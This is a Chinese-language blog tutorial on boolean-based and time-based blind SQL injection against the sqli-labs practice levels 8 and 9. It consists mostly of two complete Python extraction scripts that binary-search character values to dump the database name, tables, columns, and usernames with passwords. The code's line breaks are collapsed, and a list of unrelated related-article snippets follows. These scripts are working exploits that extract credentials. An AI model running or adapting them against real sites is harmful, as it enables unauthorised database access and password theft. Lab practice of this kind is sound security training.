SQL布尔盲注、时间盲注
一、布尔盲注
布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序不直接显示数据库查询结果的情况下,通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的结果是否为真或假,进而推断出数据库中的具体信息。
案例为sqlilabs中的第八关,采用二分查找
python脚本:
import requests
def get_database(URL):# 获取数据库名称s = ""for i in range(1, 10):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "} # 相当于第一个字符<={mid}条件判断为真res = requests.get(url=URL, params=payload)if "You are in" in res.text:high = midmid = (low + high) // 2else:low = mid + 1mid = (low + high) // 2s += chr(mid)print("数据库名称:" + s)def get_table(URL):# 获取表名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("表的名称:" + s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表的列:" + s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表具体数据:" + s)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-8/index.php"get_database(URL)get_table(URL)get_column(URL)get_result(URL)
运行结果

二、时间盲注
时间盲注(Time-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序没有直接回显数据库查询结果的情况下,通过构造特定的SQL查询来推测数据库中的信息。这种方法依赖于数据库处理查询时产生的延迟响应来判断条件的真假。
案例为sqlilabs中的第九关,同样为二分查找
python脚本
import requests
import datetimedef get_database(URL):# 获取数据库名称s = ""for i in range(1, 10):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "} # 相当于第一个字符<={mid}条件判断为真start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:high = midmid = (low + high) // 2else:low = mid + 1mid = (low + high) // 2s += chr(mid)print("数据库名称:" + s)def get_table(URL):# 获取表名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("表的名称:" + s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表的列:" + s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users中的具体数据:" + s)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-9/index.php"# get_database(URL)get_table(URL)# get_column(URL)# get_result(URL)
运行结果:

相关文章:
SQL布尔盲注、时间盲注
一、布尔盲注 布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序不直接显示数据库查询结果的情况下,通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的…...
RocketMQ与kafka如何解决消息丢失问题?
0 前言 消息丢失基本是分布式MQ中需要解决问题,消息丢失时保证数据可靠性的范畴。如何保证消息不丢失程序员面试中几乎不可避免的问题。本文主要说明RocketMQ和Kafka在解决消息丢失问题时,在生产者、Broker和消费者之间如何解决消息丢失问题。 1.Rocket…...
Uniapp 获取定位详解:从申请Key到实现定位功能
文章目录 前言一、申请定位所需的 Key1.1 注册高德开发者账号1.2 创建应用1.3 添加 Key 二、在 Uniapp 中配置定位功能2.1 引入高德地图 SDK2.2 获取定位权限 三、实现定位功能3.1 使用 uni.getLocation 获取位置3.2 处理定位失败的情况3.3 持续定位3.4 停止持续定位 四、总结 …...
【Vue3 入门到实战】14. telePort 和 Suspense组件
目录 编辑 1. telePort 2. 异步组件Suspense 3. 总结 1. telePort telePort 允许你将子组件渲染到 DOM 中的任何位置,而不仅仅是在其父组件的范围内。这对于模态框(modals)、提示框(tooltips)和其他需要脱…...
Golang的并发编程案例详解
Golang的并发编程案例详解 一、并发编程概述 并发编程是指程序中有多个独立的执行线索,并且这些线索在时间上是重叠的。在 Golang 中,并发是其核心特性之一,通过 goroutine 和 channel 来支持并发编程,使得程序可以更高效地利用计…...
IS-IS 泛洪机制 | LSP 处理流程
IS-IS 泛洪机制 作为一种链路状态路由协议,IS-IS 与 OSPF 类似,在学习和计算路由之前,区域中的路由器首先需交换链路状态信息,最终使所有路由器的链路状态数据库达到一致状态,这就如同每台路由器都拥有一张相同的网络…...
原型模式详解(Java)
原型模式(Prototype Pattern),作为一种极具代表性的创建型设计模式,其核心思想在于通过复制,亦即克隆现有的对象,来达成创建新对象的目的,而非依赖传统的构造函数途径。这一模式巧妙地基于现有对…...
内存条2R×4 2400和4R×4 2133的性能差异
内存条2R4 2400和4R4 2133的性能差异 2R4 2400 和 4R4 2133 是两种不同的内存条规格,主要在Rank数量和频率上有所不同,具体性能差异如下: 1. Rank数量 2R4:表示内存条有2个Rank,每个Rank有4个内存芯片。4R4ÿ…...
安装并配置 MySQL
MySQL 是世界上最流行的开源关系型数据库管理系统之一,因其高性能、可靠性和易用性而被广泛应用于各种规模的企业级应用中。本文将详细介绍如何在不同的操作系统上安装和配置 MySQL,帮助你快速搭建起一个功能完善的数据库环境。 选择适合你的安装方式 …...
常用的网络安全设备
一、 WAF 应用防火墙 范围:应用层防护软件 作用: 通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求 可…...
【蓝桥】线性DP--最快洗车时间
题目描述 解题思路 完整代码 举例 总结 基于 0/1 背包思想 解决 洗车时间分配问题,本质上是子集和问题【给定一个 正整数数组 nums 和一个目标值 target,判断是否可以从 nums 选择 若干个数(每个数最多选一次),使…...
Spring Boot比Spring多哪些注解?
Spring Boot 相比 Spring 多了很多自动化配置和简化开发的注解,主要包括以下几类: Spring Boot 启动与自动配置相关Spring Boot 配置相关Spring Boot Web 相关Spring Boot 测试相关Spring Boot 条件装配相关Spring Boot 监控与 Actuator 相关 1. Spring…...
springboot021校园周边美食探索及分享平台
版权声明 所有作品均为本人原创,提供参考学习使用,如需要源码数据库配套文档请移步 www.taobysj.com 搜索获取 技术实现 开发语言:Javavue。 框架:后端spingboot前端vue。 模式:B/S。 数据库:mysql。 开…...
【网络通信】传输层之UDP协议
【网络通信】传输层之UDP协议 传输层端对端通信实现端到端通信的关键技术 UDP协议再谈端口号端口号划分关于端口号的两个问题 UDP协议基本格式UDP通信的特点UDP的缓冲区UDP数据报的最大长度基于UDP的应用层协议如何封装UDP报文以及如何交付UDP报文进一步理解封装和解包 传输层 …...
Python环境搭建与量化交易开发:从基础到实战
Python环境搭建与量化交易开发:从基础到实战 在量化交易领域,Python因其强大的数据处理能力和丰富的库支持而成为首选编程语言。本文将指导您如何在本地搭建一个适合量化交易的Python环境,并介绍一些实用的工具和技巧。 《QMT开通规则分享》…...
软著申请(六)软著返修流程【2025年最新版】
软著申请(六)软著返修流程【2025年最新版】 一、软著返修流程1、软著返修流程须知2、相关细节二、针对大模型特殊补正条件三、备注本服务提供详细的软件著作权申请流程指导。申请人严格按照指导步骤完成申请,若最终未能成功获得著作权登记,可联系服务提供方进行免费咨询和指…...
SOUI基于Zint生成Code11码
Code 11 是一种高密度的数字条形码,主要用于标识电信设备和电子元件。它的名称来源于其能够编码 11 种字符:数字 0-9 和连接符 -。Code 11 是一种双向可读的条形码,支持校验位以提高数据准确性。 在使用BARCODE_CODE11码制生成code 11码时可指…...
sqlilabs第八关
?id1 and sleep(2)-- 发现页面存在注点,使用时间盲注脚本进行注入--- import requestsdef inject_database(url):name #name用于存储猜测出的数据库名称 for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high…...
基于HAL库的按钮实验
实验目的 掌握STM32 HAL库的GPIO输入配置方法。 实现通过按钮控制LED亮灭(支持轮询和中断两种模式)。 熟悉STM32CubeMX的外部中断(EXTI)配置流程。 实验硬件 开发板:STM32系列开发板(如STM32F103C8T6、N…...
DeepSeek 突然来袭,AI 大模型变革的危机与转机藏在哪?
随着人工智能技术的飞速发展,大模型领域不断涌现出具有创新性的成果。DeepSeek 的横空出世,为 AI 大模型领域带来了新的变革浪潮。本文将深入探讨 DeepSeek 出现后 AI 大模型面临的危机与转机。 冲冲冲!!! 目录 一、…...
为Dify扩展AI图表与文档生成能力:微服务架构实战指南
1. 项目概述:为Dify打造专属的AI图表与文档生成工具箱如果你正在使用Dify构建自己的AI应用,并且希望让AI不仅能生成文字,还能直接输出流程图、思维导图、PPT甚至试卷,那么这个项目就是为你准备的。brightwang/dify-tool-service是…...
Midjourney水彩风提示词已进入“语义过载”危机?2024Q2最新精简指令集发布(仅保留11个高响应关键词,准确率提升63.8%)
更多请点击: https://intelliparadigm.com 第一章:Midjourney水彩风提示词的语义过载现象本质解析 水彩风格生成中,“watercolor”、“gouache”、“loose brushstrokes”、“wet-on-wet”等提示词常被叠加使用,表面增强风格表征…...
终极ROFL播放器指南:如何免费快速解锁英雄联盟回放文件分析
终极ROFL播放器指南:如何免费快速解锁英雄联盟回放文件分析 【免费下载链接】ROFL-Player (No longer supported) One stop shop utility for viewing League of Legends replays! 项目地址: https://gitcode.com/gh_mirrors/ro/ROFL-Player 还在为无法查看英…...
STM32H750调试KSZ8863翻车实录:从F4经验到H7的坑,硬件配置避雷指南
STM32H7与KSZ8863实战避坑指南:从F4经验到H7的硬件设计差异 调试以太网PHY芯片KSZ8863时,许多工程师会带着STM32F4的成功经验直接迁移到STM32H7平台,结果往往遭遇意想不到的硬件兼容性问题。本文将深入剖析两个平台在RMII接口设计上的关键差…...
从MATLAB验证到RTL实现:一个完整华莱士树乘法器的设计、仿真与调试实战
从MATLAB验证到RTL实现:一个完整华莱士树乘法器的设计、仿真与调试实战 在数字信号处理、图形渲染和密码学等高性能计算领域,乘法器的效率往往成为系统瓶颈。传统阵列乘法器虽然结构规整,但随着位宽增加,其线性增长的延迟特性难以…...
2026届学术党必备的降重复率平台横评
Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 1. 在学术写作这个特定领域里,合理运用AI工具能切实有效提升文献检索、大纲构建…...
X-TRACK开源GPS自行车码表终极指南:从硬件组装到软件配置的完整教程
X-TRACK开源GPS自行车码表终极指南:从硬件组装到软件配置的完整教程 【免费下载链接】X-TRACK A GPS bicycle speedometer that supports offline maps and track recording 项目地址: https://gitcode.com/gh_mirrors/xt/X-TRACK X-TRACK是一款功能强大的开…...
ARM AMBA总线演进史:从AHB到AXI,再到CHI和ACE,我们经历了什么?
ARM AMBA总线演进史:从AHB到AXI,再到CHI和ACE的技术脉络解析 二十年前,当ARM首次提出AMBA总线架构时,恐怕很少有人能预见它会在今天的SoC设计中占据如此核心的地位。从最初的AHB到如今的CHI,AMBA总线的每一次迭代都精准…...
不想注册Nvidia账户?手把手教你修改app.js文件,让GeForce Experience直接进主界面
免登录畅享GeForce Experience:技术流修改指南 每次打开GeForce Experience都要面对那个恼人的登录窗口?作为资深PC玩家,我完全理解这种困扰。重装系统后最烦人的就是各种强制登录,尤其是当我们只想快速使用屏幕录制或游戏优化功能…...
【高通SDM660平台】Camera 驱动 Bringup 实战:从 DTS 配置到 Vendor 模块集成
1. 高通SDM660平台Camera驱动Bringup概述 当你拿到一块基于高通SDM660平台的新硬件时,Camera驱动的Bringup工作可能会让你感到有些头疼。作为一个在这个领域摸爬滚打多年的工程师,我想分享一些实战经验,帮助你快速点亮Camera功能并完成基础调…...
